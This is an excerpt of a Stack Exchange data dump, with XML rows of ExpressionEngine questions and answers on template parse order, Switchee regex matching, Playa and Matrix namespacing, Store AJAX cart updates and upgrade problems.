  <row Id="26106" PostTypeId="1" CreationDate="2014-10-08T15:40:37.667" Score="0" ViewCount="117" Body="&lt;p&gt;Trying to get switchee to work with a regex check against a URL segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example following URL check if segment 2 is numeric:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/property/123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{segment_2}&quot;}&#xA;    {case value=&quot;#[0-9]+#&quot;}&#xA;        IS A NUMBER&#xA;    {/case}&#xA;{/exp:switchee} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this isn't working. Any thoughts/suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-10-08T18:22:56.223" Title="Switchee regex for numbers" Tags="|switchee|regex|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26107" PostTypeId="1" AcceptedAnswerId="26112" CreationDate="2014-10-08T16:33:58.743" Score="0" ViewCount="155" Body="&lt;p&gt;I am building a plugin that takes variables from the url's query string and renders out the appropriate category ids, but when I tried testing out a category that I know exists and place the plugin tag inside the category parameters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; category=&quot;{exp:test_plugin}&quot;}&#xA;   {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It outputs some hash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;product&quot; category=&quot;M00o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I place the plugin tag outside of the category parameter it prints out the number. Here's my plugin so far. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class test_plugin {&#xA;   public $return_data = &quot;&quot;;&#xA;   public $c;&#xA;   public $s;&#xA;   public $m;&#xA;   public $t;&#xA;&#xA;public function __construct($tagdata = NULL){&#xA;    $this-&amp;gt;return_data = 28;&#xA;}&#xA;&#xA;&#xA;&#xA;function type_name(){&#xA;    return $this-&amp;gt;t;    &#xA;}&#xA;&#xA;public function usage()&#xA;{&#xA;    ob_start();&#xA;    ?&amp;gt;&#xA;        :)&#xA;&#xA;    &amp;lt;?php&#xA;    $buffer = ob_get_contents();&#xA;&#xA;    ob_end_clean();&#xA;&#xA;    return $buffer;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I get it to print out the actual category number?&lt;/p&gt;&#xA;" OwnerUserId="3666" LastActivityDate="2014-10-08T17:51:52.977" Title="How to make expression engine not encrypt plugin output" Tags="|channel-entries|plugin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26108" PostTypeId="2" ParentId="26106" CreationDate="2014-10-08T16:51:48.113" Score="0" Body="&lt;p&gt;Add parse=&quot;inward&quot; to switchee:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;#[0-9]+#&quot;}&#xA;        IS A NUMBER&#xA;    {/case}&#xA;    {case default=&quot;yes&quot;}&#xA;        NOT A NUMBER&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-10-08T16:51:48.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26109" PostTypeId="2" ParentId="26107" CreationDate="2014-10-08T17:19:06.340" Score="1" Body="&lt;p&gt;Scrap it. I suggest using &lt;a href=&quot;http://devot-ee.com/add-ons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low's Seg2Cat&lt;/a&gt;. Tried and True. Gives a ton of other variables too that you can use throughout your templates.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-10-08T17:19:06.340" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26110" PostTypeId="2" ParentId="26107" CreationDate="2014-10-08T17:28:49.007" Score="0" Body="&lt;p&gt;I think maybe it's an parse order issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; category=&quot;{exp:test_plugin}&quot; parse=&quot;inward&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the docs: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/plugins.html#changing-parsing-order&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/templates/plugins.html#changing-parsing-order&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-10-08T17:28:49.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26111" PostTypeId="2" ParentId="26104" CreationDate="2014-10-08T17:39:01.850" Score="1" Body="&lt;p&gt;It might be a namespacing issue for the matrix field, and it's outputting the main_product_image variable from the product page, not the related products. You can add a var_prefix parameter to the matrix tag and the prefix to each matrix variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{product_image limit=&quot;1&quot; var_prefix=&quot;mx&quot;} &amp;lt;!--THIS IS THE MATRIX FIELD FOR THE IMAGES--&amp;gt;&#xA;    &amp;lt;img alt=&quot;{title}&quot; title=&quot;{title}&quot; class=&quot;img-responsive&quot; src=&quot;{mx:main_product_image}&quot;&amp;gt;&#xA;{/product_image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;Here's a test version with namespacing for playa and matrix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot;}&#xA;    Entry Title: {title}&amp;lt;br&amp;gt;&#xA;&#xA;    {!--playa--}&#xA;    {related_products&#xA;        var_prefix=&quot;pl&quot;&#xA;    }&#xA;        Related Title: {pl:title}&amp;lt;br&amp;gt;&#xA;&#xA;        {!--matrix--}&#xA;        {pl:product_image &#xA;            limit=&quot;1&quot;&#xA;            var_prefix=&quot;mx&quot;&#xA;        }&#xA;            Related Title within Matrix: {pl:title}&amp;lt;br&amp;gt;&#xA;            Related Image within Matrix: {mx:main_product_image}&amp;lt;br&amp;gt;&#xA;        {/pl:product_image}&#xA;&#xA;&#xA;        {!--link for related product--}&#xA;        &amp;lt;a href=&quot;{exp:transcribe:uri path='paint/product/{pl:url_title}'}&quot;&amp;gt;{pl:title}&amp;lt;/a&amp;gt;&#xA;&#xA;    {/related_products}&#xA;&#xA;    &amp;lt;hr&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2014-10-15T15:34:51.577" LastActivityDate="2014-10-15T15:34:51.577" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26112" PostTypeId="2" ParentId="26107" CreationDate="2014-10-08T17:51:52.977" Score="1" Body="&lt;p&gt;This just happens in really trick situations. You probably have more than one instance of the same tag on different parsing levels: one inside another tag and other one outside all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template parser replaces all the instances of the plugin with the placeholder &lt;code&gt;M00o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&lt;/code&gt;, to avoid run it over and over again, and then, because they are at different levels, it tries to parse the &lt;code&gt;exp:channel:entries&lt;/code&gt; before to replace the placeholder back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can remove the different instance you're probably using for testing. If this isn't an option, add a false parameter to the instance inside the &lt;code&gt;exp:channel:entries&lt;/code&gt; opening tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; category=&quot;{exp:test_plugin random}&quot; parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will make the two instances to be different, so they will not be replaced by a placeholder and your plugin will run again.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-10-08T17:51:52.977" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26113" PostTypeId="2" ParentId="26106" CreationDate="2014-10-08T18:22:56.223" Score="1" Body="&lt;p&gt;You just need to set the &lt;code&gt;parse&lt;/code&gt; parameter to &lt;code&gt;inward&lt;/code&gt; if you want to discard the content of the unmatched cases before parsing them or you are using a module or plugin tag as a parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RegEx you're using, &lt;code&gt;/[0-9]+/&lt;/code&gt;, will match strings containing a number, not being one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;#^\d+$#&quot;}&#xA;        IS A NUMBER&#xA;    {/case}&#xA;    {case default=&quot;yes&quot;}&#xA;        NOT A NUMBER&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;^\d+$&lt;/code&gt; will match just numbers.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-10-08T18:22:56.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26114" PostTypeId="2" ParentId="26097" CreationDate="2014-10-08T18:25:19.910" Score="1" Body="&lt;p&gt;As we discus in comments, its most probable that you have this issue because server is not return correct charset (utf-8) by default. &#xA;You can try next:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for apache - add into .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AddDefaultCharset utf-8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for nginx:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;charset utf-8;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-10-08T18:25:19.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26116" PostTypeId="1" CreationDate="2014-10-08T21:09:40.310" Score="2" ViewCount="111" Body="&lt;p&gt;I just updated a site to EE 2.9.2 and the Template Editor is exhibiting funny behavior. If I click Toggle Editor, the row numbers truncate and the template text disappears. If I click it again, the template text is there but without the color coded text. See attachment. Has anyone else experienced this and is there a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JALP5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-05-17T22:08:08.370" Title="Toggle Editor not working after upgrade to EE 2.9.2" Tags="|templates|ee2-upgrades|editor|template-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26117" PostTypeId="1" CreationDate="2014-10-09T01:08:19.150" Score="0" ViewCount="88" Body="&lt;p&gt;I am building a site for a school. The school has classes and the school has events. Some of the events are school-wide and some are specific to a certain class. On a class detail page (domain.com/classes/class-name) I want to make a list of upcoming events that comingles events that are specific to that class as well as school-wide events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The natural thought was to use relationships to do this. However, I am using icons to represent which class an event is related to and I want to have one icon for school-wide events (rather than showing 10 different icons for every related class).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead I am using categories. I have made a category for each class and am sharing the category group across both the event and class channels. I would love to be able to create a variable in the class channel loop and pass it to the parameters in the events loop. It would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;classes&quot; limit=&quot;1&quot;}&#xA;  {cat_var=&quot;{category_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:low_events:entries channel=&quot;events&quot; category=&quot;{cat_var}&quot;}&#xA;  &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/exp:low_events:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I feel like there used to be a way to do this in EE 1.x. Doesn't seem to be there any more though. I also realize that this may be a totally dumb way to try to solve this problem, but it is the best I can come up with right now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any tips I how I might make this happen, or suggestions on another way to thing about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1601" LastActivityDate="2014-11-08T04:10:10.720" Title="Is there a way to pass a category id from one entries loop to another?" Tags="|categories|relationships|variable|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26118" PostTypeId="2" ParentId="26117" CreationDate="2014-10-09T04:01:19.210" Score="1" Body="&lt;p&gt;I don't know if this will be helpful to anyone else, but I solved my problem. Basically, I went back to thinking of this as something best handled by relationships rather than categories. I realized that if I use Playa instead of EE's native relationships my client could just check off all of the classes that an event is related to. That makes listing related events on the class detail page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, because playa has the {exp:playa:total_children} tag, I could do this on the event listings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:playa:total_children}&quot; &amp;gt;= &quot;10&quot;}&#xA;  &amp;lt;li&amp;gt;All Classes&amp;lt;/li&amp;gt;&#xA;{if:else}&#xA;  {exp:playa:children field=&quot;related&quot;}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;  {/exp:playa:children}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reading &quot;All Classes&quot; is a much better user experience than having to read a list of 10 things to decide whether this event applies to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I am not sure I did a great job of explaining this problem or my solution, but maybe something in here helps someone somewhere eventually.&lt;/p&gt;&#xA;" OwnerUserId="1601" LastActivityDate="2014-10-09T04:01:19.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26119" PostTypeId="1" CreationDate="2014-10-09T07:43:13.697" Score="0" ViewCount="121" Body="&lt;p&gt;Is there a way to make category checkboxes work like custom fields and be 'required' in Channel Form? With a message that shows the error if not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Been looking for a plugin but doesn't seem like there is one..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone had to do something like this?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-10-09T14:00:33.617" Title="Add on to Make Categories 'Required' in Channel Form?" Tags="|categories|safecracker|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26120" PostTypeId="2" ParentId="26103" CreationDate="2014-10-09T07:48:47.057" Score="2" Body="&lt;p&gt;You should be able to do this by changing the expected content of your field from a number/integer to &quot;any&quot; which is basically a string and so will not be treated as a number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GoUoc.png&quot; alt=&quot;Set the Field Content to &amp;quot;All&amp;quot; to treat the input as a string&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-09T07:48:47.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26121" PostTypeId="1" CreationDate="2014-10-09T08:44:27.887" Score="0" ViewCount="247" Body="&lt;p&gt;I am using Store 2 as my e-commerce module, with the AJAX Form plugin to submit products to the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Is there a way to detect if the item was added successfully and update the CSRF token?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the below would work, but unfortunately not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).on('click', '.add-basket', function() {&#xA;    $('.add-basket-form').ajaxForm({&#xA;        success: updateCart,&#xA;        dataType: 'json'&#xA;    });&#xA;});&#xA;&#xA;function updateCart(data, statusText, xhr) {        &#xA;&#xA;    if (data.success) {                                                 &#xA;        $(&quot;input[name=csrf_token]&quot;).val(data.csrf_token);&#xA;&#xA;        var url = 'http://www.domain.net/site/embed-mini-basket';&#xA;&#xA;        $('#masthead-mini-basket').load(url, function() {  &#xA;            alert('success');&#xA;        }); &#xA;&#xA;    } else {&#xA;&#xA;        alert('Failed');&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2019-09-16T14:01:55.227" Title="AJAX add to cart data.success?" Tags="|expresso-store|ecommerce|ajax|json|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26122" PostTypeId="1" CreationDate="2014-10-09T09:35:08.573" Score="0" ViewCount="153" Body="&lt;p&gt;I need to filter search results on my expressionengine website, I currently have the transcribe plugin and am trying to get it to work with the ee default search tool so that the results are only in the current language chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the results page though i can't seem to output the language the entry is in.&#xA;I guess I need to modify the core of search module, but simply don't have time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simpler way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="3516" LastActivityDate="2016-06-04T02:38:41.350" Title="How to output Transcribe language in Search Results?" Tags="|search|transcribe|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26123" PostTypeId="1" CreationDate="2014-10-09T10:01:07.580" Score="0" ViewCount="174" Body="&lt;p&gt;I've tried to upgrade EE 2.8.2 to a 2.9.2 in the dev environment but it semes to keep on failing.&#xA;i looked it up and seen some suggestions saying disable javascript and others to disable third party addons. tried them all and no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a test, i've made a clean install of EE 2.8.2 and tried to upgrade it to 2.9.2 get the same problem!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I follow all the steps of the upgrade documentation here until step 6: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/update.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/installation/update.html&lt;/a&gt;&#xA;I reach to the &quot;agreement&quot; button i click &quot;I agree&quot;&#xA;i get to the page index.php?C=wizard&amp;amp;M=do_update&amp;amp;language=english&amp;amp;ajax_progress=yes&#xA;and then nothing anymore&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting i'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP and MYSQL version both meet the ee requirment.&#xA;Is there something else i could be missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/20r5o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="879" LastActivityDate="2014-10-09T10:01:07.580" Title="EE upgrade failing to 2.9.2" Tags="|upgrade|ee2-upgrades|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26124" PostTypeId="2" ParentId="25318" CreationDate="2014-10-09T10:14:25.200" Score="0" Body="&lt;p&gt;Found the solution, although this then outputs both language entries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use transcribe=&quot;disable&quot; in the channel entries tag!!&lt;/p&gt;&#xA;" OwnerUserId="3516" LastActivityDate="2014-10-09T10:14:25.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26125" PostTypeId="2" ParentId="26121" CreationDate="2014-10-09T10:26:58.637" Score="0" Body="&lt;p&gt;I'm currently not using Store for one of our projects. So I don't know the exact callback you're getting from the ajax call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you could store the token and the items in the cart in javascript variables. This makes it possible to compare them with possible new data. It's a bit of a workaround, but it could work...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do something like this in the updateCart function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(typeof data.csrf_token !== 'undefined' &amp;amp;&amp;amp; typeof data.count !== 'undefined'){&#xA;&#xA;    // checking if all data in callback&#xA;&#xA;    if(data.csrf_token != current_csrf_token){&#xA;        // new token &amp;gt; change token in html&#xA;    }&#xA;&#xA;    if(data.count != current_count){&#xA;        // changed shopping cart count &amp;gt; pretty sure there was an update?&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2014-10-09T10:26:58.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26126" PostTypeId="1" CreationDate="2014-10-09T10:58:53.850" Score="0" ViewCount="67" Body="&lt;p&gt;Is it possible to discount a fixed amount based on the weight of the total ordered items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a store which sells fruits. &#xA;Let's suppose fruit is available in different modifier_options&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oranges --product &#xA;1 kg basket --modifier (2$ per kg.)&#xA;2 kg bag --modifier (1.90$ per kg.)&#xA;4 kg barrell --modifier (1.50$ per kg.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg:&#xA;The customer orders 1 basket and 2 bags, for a total of 5kg. (no discount)&#xA;The customer orders 2 baskets and 2 bags, for a total of 6kg. (1$ discount)&#xA;Same applies if:&#xA;The customer orders 1 barrell and 2 bags, for a total of 6kg. (1$ discount)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2016-05-14T13:51:49.553" Title="Expresso Store - fixed discount if total order &gt; x kg" Tags="|expresso-store|expresso|discounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26128" PostTypeId="2" ParentId="26119" CreationDate="2014-10-09T14:00:33.617" Score="2" Body="&lt;p&gt;I often use &lt;a href=&quot;http://devot-ee.com/add-ons/bw-required-category&quot; rel=&quot;nofollow&quot;&gt;BW Required Category&lt;/a&gt; with great success - does exactly what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-09T14:00:33.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26129" PostTypeId="2" ParentId="26092" CreationDate="2014-10-09T14:15:02.187" Score="0" Body="&lt;p&gt;That all depends on how complex your products are, and how big your product catalogue is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously you'll have to rewrite a lot of template code - but since CartThrob and Store both store their order data differently, you can preserve all your old CartThrob orders with ease. (If you were looking to import that data into Store that's a different story.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main thing will be moving your products over - you can keep the same product entries, but you'll need to add a Store fieldtype to that channel, and then run  a migration to insert price and stock data into the various &lt;code&gt;exp_store_&lt;/code&gt; tables. If you have simple products, this is not a big deal. If you have products with multiple options via the CartThrob Options fieldtype, then you have to decode that data, format it, and insert those options as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to install Store, then manually add your options to an existing product. You can then look at the various Store database tables and see how products, options, and stock were added so you can plan a programmatic migration.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-09T14:15:02.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26130" PostTypeId="2" ParentId="26037" CreationDate="2014-10-09T14:25:05.633" Score="1" Body="&lt;p&gt;I can't replicate this locally, so I'm not sure it's a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that all the code you're actually using to test this? Because if you don't include &lt;code&gt;{paginate}&lt;/code&gt; tags, then &lt;code&gt;{absolute_results}&lt;/code&gt; will always be the same (or less than) your &lt;code&gt;limit&lt;/code&gt; parameter. (The existence of &lt;code&gt;{paginate}&lt;/code&gt; tags is what actually triggers pagination.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;code&gt;{paginate}&lt;/code&gt; loop and see if this issue persist between cached and non-cached.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-09T14:25:05.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26131" PostTypeId="2" ParentId="26126" CreationDate="2014-10-09T14:29:55.553" Score="0" Body="&lt;p&gt;Store does not currently support weight-based discounts, no.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-09T14:29:55.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26132" PostTypeId="1" AcceptedAnswerId="26147" CreationDate="2014-10-09T15:26:22.637" Score="1" ViewCount="91" Body="&lt;p&gt;I have a site that features MSM with Freeform pro. For the main site, all submissions are fine however for the other sites running from the main one form submissions are not received into expression engine . They do work though and email notifications are being sent, they are just not stored as submissions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="964" LastActivityDate="2014-10-14T14:18:32.523" Title="Freeform MSM sites - no submissions received" Tags="|solspace-freeform|multi-site-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26133" PostTypeId="2" ParentId="26101" CreationDate="2014-10-09T15:50:30.053" Score="0" Body="&lt;p&gt;I think you can only append segments to the end, so the details may not work if you're telling Freebie/Structure to ignore everything after agenda.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-10-09T15:50:30.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26134" PostTypeId="1" AcceptedAnswerId="26145" CreationDate="2014-10-09T17:52:01.000" Score="0" ViewCount="126" Body="&lt;p&gt;I have the following blocks of code that I can't seem to to work correctly. The list sets and populates perfectly, but the switchee statement doesn't work. I konw that it has do do with parse order but I can't figure out what is going on. The debug value of for the switchee tag is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;M00o93H7pQ09L8X1t49cHY01Z5j4TT91fGfr&quot; parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems as though switchee is running before stash is parsing list_count, is there any way to fix this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;buy_now_options&quot; parse_depth=&quot;4&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;    {exp:channel:entries entry_id=&quot;{lv_site_buy_now}&quot; status=&quot;open|closed&quot; order_by=&quot;entry_id&quot; sort=&quot;asc&quot; limit=&quot;3&quot;}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:item_entry_id}{entry_id}{/stash:item_entry_id}&#xA;        {stash:url_title}{url_title}{/stash:url_title}&#xA;        {stash:logo}{partner_logo:url}{/stash:logo}&#xA;        {stash:base_url}{partner_base_purchase_url}{/stash:base_url}&#xA;        {exp:stash:set_list:nested name=&quot;purchase_urls&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;            {partner_retail_urls}&#xA;                {stash:product}{partner_retail_urls:product:title}{/stash:product}&#xA;                {stash:url}{partner_retail_urls:url}{/stash:url}&#xA;            {/partner_retail_urls}&#xA;        {/exp:stash:set_list:nested}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;buy_now_options&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;    {exp:switchee variable=&quot;{exp:stash:list_count name='purchase_urls' context='{item_entry_id}'}&quot; parse=&quot;inward&quot; }&#xA;        {case value=&quot;0&quot;}&#xA;            true&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{base_url}&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;{logo}&quot; alt=&quot;{title} Web Store&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/case}&#xA;        {case default=&quot;yes&quot;}&#xA;            false&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{base_url}&quot; data-reveal-id=&quot;{url_title}-modal&quot;&amp;gt;&amp;lt;img src=&quot;{logo}&quot; alt=&quot;{title} Web Store&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2304" LastActivityDate="2014-10-10T00:56:12.453" Title="Stash &amp; Switchee parse order problems" Tags="|stash|parse-order|switchee|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
